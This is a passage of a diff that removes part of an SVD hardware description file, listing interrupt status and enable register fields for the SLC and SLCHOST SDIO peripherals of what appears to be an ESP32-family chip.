-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_RX_DONE_INT_ST1</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_RX_EOF_INT_ST1</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_TOHOST_INT_ST1</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_TX_DSCR_ERR_INT_ST1</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_RX_DSCR_ERR_INT_ST1</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_TX_DSCR_EMPTY_INT_ST1</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_HOST_RD_ACK_INT_ST1</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_WR_RETRY_DONE_INT_ST1</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_TX_ERR_EOF_INT_ST1</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_1INT_ENA1</name>
-          <addressOffset>0x148</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>FRHOST_BIT8_INT_ENA1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT9_INT_ENA1</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT10_INT_ENA1</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT11_INT_ENA1</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT12_INT_ENA1</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT13_INT_ENA1</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT14_INT_ENA1</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT15_INT_ENA1</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_RX_START_INT_ENA1</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_TX_START_INT_ENA1</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_RX_UDF_INT_ENA1</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_TX_OVF_INT_ENA1</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_TOKEN0_1TO0_INT_ENA1</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_TOKEN1_1TO0_INT_ENA1</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_TX_DONE_INT_ENA1</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_TX_SUC_EOF_INT_ENA1</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_RX_DONE_INT_ENA1</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_RX_EOF_INT_ENA1</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_TOHOST_INT_ENA1</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_TX_DSCR_ERR_INT_ENA1</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_RX_DSCR_ERR_INT_ENA1</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_TX_DSCR_EMPTY_INT_ENA1</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_HOST_RD_ACK_INT_ENA1</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_WR_RETRY_DONE_INT_ENA1</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_TX_ERR_EOF_INT_ENA1</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DATE</name>
-          <addressOffset>0x1F8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x16022500</resetValue>
-          <fields>
-            <field>
-              <name>DATE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ID</name>
-          <addressOffset>0x1FC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000100</resetValue>
-          <fields>
-            <field>
-              <name>ID</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-      </registers>
-    </peripheral>
-    <peripheral>
-      <name>SLCHOST</name>
-      <description>Peripheral SLCHOST</description>
-      <groupName>SLCHOST</groupName>
-      <baseAddress>0x3FF55000</baseAddress>
-      <addressBlock>
-        <offset>0x0</offset>
-        <size>0x104</size>
-        <usage>registers</usage>
-      </addressBlock>
-      <registers>
-        <register>
-          <name>HOST_SLCHOST_FUNC2_0</name>
-          <addressOffset>0x10</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLC_FUNC2_INT</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_FUNC2_1</name>
-          <addressOffset>0x14</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLC_FUNC2_INT_EN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_FUNC2_2</name>
-          <addressOffset>0x20</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>HOST_SLC_FUNC1_MDSTAT</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_GPIO_STATUS0</name>
-          <addressOffset>0x34</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_GPIO_SDIO_INT0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_GPIO_STATUS1</name>
-          <addressOffset>0x38</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_GPIO_SDIO_INT1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_GPIO_IN0</name>
-          <addressOffset>0x3C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_GPIO_SDIO_IN0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLCHOST_GPIO_IN1</name>
-          <addressOffset>0x40</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_GPIO_SDIO_IN1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLC0HOST_TOKEN_RDATA</name>
-          <addressOffset>0x44</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLC0_TOKEN0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_RX_PF_VALID</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_HOSTSLC0_TOKEN1</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_RX_PF_EOF</name>
-              <bitOffset>28</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLC0_HOST_PF</name>
-          <addressOffset>0x48</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLC0_PF_DATA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLC1_HOST_PF</name>
-          <addressOffset>0x4C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLC1_PF_DATA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLC0HOST_INT_RAW</name>
-          <addressOffset>0x50</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT0_INT_RAW</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT1_INT_RAW</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT2_INT_RAW</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT3_INT_RAW</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT4_INT_RAW</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT5_INT_RAW</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT6_INT_RAW</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT7_INT_RAW</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOKEN0_1TO0_INT_RAW</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOKEN1_1TO0_INT_RAW</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOKEN0_0TO1_INT_RAW</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOKEN1_0TO1_INT_RAW</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0HOST_RX_SOF_INT_RAW</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0HOST_RX_EOF_INT_RAW</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0HOST_RX_START_INT_RAW</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0HOST_TX_START_INT_RAW</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_RX_UDF_INT_RAW</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TX_OVF_INT_RAW</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_RX_PF_VALID_INT_RAW</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_EXT_BIT0_INT_RAW</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_EXT_BIT1_INT_RAW</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_EXT_BIT2_INT_RAW</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_EXT_BIT3_INT_RAW</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_RX_NEW_PACKET_INT_RAW</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_HOST_RD_RETRY_INT_RAW</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_GPIO_SDIO_INT_RAW</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLC1HOST_INT_RAW</name>
-          <addressOffset>0x54</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT0_INT_RAW</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT1_INT_RAW</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT2_INT_RAW</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT3_INT_RAW</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT4_INT_RAW</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT5_INT_RAW</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT6_INT_RAW</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT7_INT_RAW</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOKEN0_1TO0_INT_RAW</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOKEN1_1TO0_INT_RAW</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOKEN0_0TO1_INT_RAW</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOKEN1_0TO1_INT_RAW</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1HOST_RX_SOF_INT_RAW</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1HOST_RX_EOF_INT_RAW</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1HOST_RX_START_INT_RAW</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1HOST_TX_START_INT_RAW</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_RX_UDF_INT_RAW</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TX_OVF_INT_RAW</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_RX_PF_VALID_INT_RAW</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_EXT_BIT0_INT_RAW</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_EXT_BIT1_INT_RAW</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_EXT_BIT2_INT_RAW</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_EXT_BIT3_INT_RAW</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_WIFI_RX_NEW_PACKET_INT_RAW</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_HOST_RD_RETRY_INT_RAW</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_BT_RX_NEW_PACKET_INT_RAW</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLC0HOST_INT_ST</name>
-          <addressOffset>0x58</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT0_INT_ST</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT1_INT_ST</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT2_INT_ST</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT3_INT_ST</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT4_INT_ST</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT5_INT_ST</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT6_INT_ST</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOHOST_BIT7_INT_ST</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOKEN0_1TO0_INT_ST</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOKEN1_1TO0_INT_ST</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOKEN0_0TO1_INT_ST</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TOKEN1_0TO1_INT_ST</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0HOST_RX_SOF_INT_ST</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0HOST_RX_EOF_INT_ST</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0HOST_RX_START_INT_ST</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0HOST_TX_START_INT_ST</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_RX_UDF_INT_ST</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_TX_OVF_INT_ST</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_RX_PF_VALID_INT_ST</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_EXT_BIT0_INT_ST</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_EXT_BIT1_INT_ST</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_EXT_BIT2_INT_ST</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_EXT_BIT3_INT_ST</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_RX_NEW_PACKET_INT_ST</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC0_HOST_RD_RETRY_INT_ST</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_GPIO_SDIO_INT_ST</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HOST_SLC1HOST_INT_ST</name>
-          <addressOffset>0x5C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT0_INT_ST</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT1_INT_ST</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT2_INT_ST</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT3_INT_ST</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT4_INT_ST</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT5_INT_ST</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT6_INT_ST</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOHOST_BIT7_INT_ST</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOKEN0_1TO0_INT_ST</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOKEN1_1TO0_INT_ST</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOKEN0_0TO1_INT_ST</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TOKEN1_0TO1_INT_ST</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1HOST_RX_SOF_INT_ST</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1HOST_RX_EOF_INT_ST</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1HOST_RX_START_INT_ST</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1HOST_TX_START_INT_ST</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_RX_UDF_INT_ST</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOST_SLC1_TX_OVF_INT_ST</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
